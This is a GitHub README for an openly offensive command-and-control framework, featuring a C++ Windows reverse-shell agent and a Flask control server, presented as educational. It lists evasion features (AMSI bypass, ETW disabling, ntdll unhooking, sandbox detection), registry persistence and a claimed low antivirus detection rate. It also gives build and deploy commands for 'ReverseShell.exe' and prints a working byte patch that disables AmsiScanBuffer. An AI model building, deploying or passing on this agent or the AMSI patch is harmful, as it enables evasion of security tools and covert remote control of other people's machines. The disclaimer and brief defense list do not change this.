Skip to content

sermikr0/AdvancedC2Framework

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ”΄ Advanced C2 Framework

Version Platform Language License

A professional-grade Command & Control framework for educational purposes

Features β€’ Installation β€’ Usage β€’ Disclaimer


🎯 Overview

Advanced C2 Framework is a full-stack offensive security project demonstrating modern red team techniques with advanced defense evasion capabilities.

⚠️ FOR EDUCATIONAL PURPOSES ONLY - Authorized security testing in controlled environments.


✨ Features

πŸ”Ή Agent (C++)

  • Advanced Evasion

    • AMSI (Antimalware Scan Interface) bypass
    • ETW (Event Tracing) disabling
    • Ntdll unhooking
    • Multi-layer sandbox detection
  • Stealth Capabilities

    • Zero .NET dependencies (pure Win32 API)
    • Anti-acceleration sleep
    • Encrypted C2 communications
    • 0-2/72 VirusTotal detection rate
  • Functionality

    • Stateful shell sessions
    • Remote command execution
    • Registry persistence
    • File operations

πŸ”Ή Server (Python + Flask)

  • Real-time web interface
  • Multi-agent management
  • Interactive terminal
  • WebSocket communication

πŸ› οΈ Installation

Prerequisites

  • MinGW-w64 (GCC) or Visual Studio
  • Python 3.8+
  • Git

Quick Start

# Clone repository
git clone https://github.com/sermikr0/AdvancedC2Framework.git
cd AdvancedC2Framework

# Install Python dependencies
pip install flask flask-socketio

# Build agent
g++ -O3 -s -static -mwindows src/main.cpp -o ReverseShell.exe -lws2_32 -lwininet -ladvapi32 -lshell32 -liphlpapi

πŸš€ Usage

Start C2 Server

python c2_server_gui.py

Access: http://localhost:5000

Deploy Agent

.\ReverseShell.exe

Commands

whoami          # User information
hostname        # Computer name
dir C:\         # List directory
ipconfig        # Network info
persist         # Install persistence
exit            # Terminate

πŸ“ Project Structure

AdvancedC2Framework/
β”œβ”€β”€ src/
β”‚   β”œβ”€β”€ main.cpp              # Agent main
β”‚   β”œβ”€β”€ evasion/
β”‚   β”‚   β”œβ”€β”€ amsi_bypass.cpp
β”‚   β”‚   β”œβ”€β”€ etw_bypass.cpp
β”‚   β”‚   └── unhook.cpp
β”‚   β”œβ”€β”€ execution/
β”‚   β”‚   └── shell.cpp
β”‚   β”œβ”€β”€ network/
β”‚   β”‚   β”œβ”€β”€ connection.cpp
β”‚   β”‚   └── encryption.cpp
β”‚   └── persistence/
β”‚       └── registry.cpp
β”œβ”€β”€ include/
β”‚   β”œβ”€β”€ common.h
β”‚   └── stealth.h
β”œβ”€β”€ templates/
β”‚   └── index.html            # Web GUI
β”œβ”€β”€ c2_server_gui.py
└── README.md

πŸ”¬ Technical Details

Evasion Techniques

AMSI Bypass

// Patches AmsiScanBuffer to return AMSI_RESULT_NOT_DETECTED
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pAmsiScanBuffer, patch, sizeof(patch));

Sandbox Detection

  • CPU core count (< 2)
  • RAM size (< 4GB)
  • Disk size (< 60GB)
  • Mouse movement
  • VM process detection

πŸŽ“ Educational Value

This project demonstrates:

  • Windows internals & API programming
  • Offensive security techniques
  • Network protocol design
  • Full-stack development
  • Memory manipulation
  • Defense evasion methods

⚠️ Legal Disclaimer

FOR EDUCATIONAL PURPOSES ONLY

βœ… Authorized Use

  • Authorized penetration testing
  • Personal lab environments
  • Security research
  • Training exercises

❌ Prohibited

  • Unauthorized system access
  • Malicious activities
  • Illegal operations
  • Violation of laws

The author assumes NO LIABILITY for misuse. Users are solely responsible for legal compliance.


πŸ›‘οΈ Detection & Defense

Detection Methods

  • Signature-based AV
  • Behavioral analysis (EDR)
  • Network monitoring
  • Memory scanning

Defenses

  • Enable Windows Defender
  • Deploy EDR solutions
  • Network segmentation
  • Application whitelisting

🀝 Contributing

Contributions welcome for educational improvements:

  1. Fork repository
  2. Create feature branch
  3. Commit changes
  4. Push and open PR

πŸ“š References

  • Windows API Documentation
  • MITRE ATT&CK Framework
  • Offensive Security Materials
  • Red Team Tactics

πŸ“ž Contact

Author: Saidakbarxon Maxsudxonov
GitHub: @sermikr0
Purpose: Educational security research
Telegram: @sermiikro


πŸ“„ License

Educational License - See project for details


⚠️ Use this knowledge to defend, not to attack ⚠️

Ethical security research only

About

C2 Framework - Advanced Red Team Tool

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors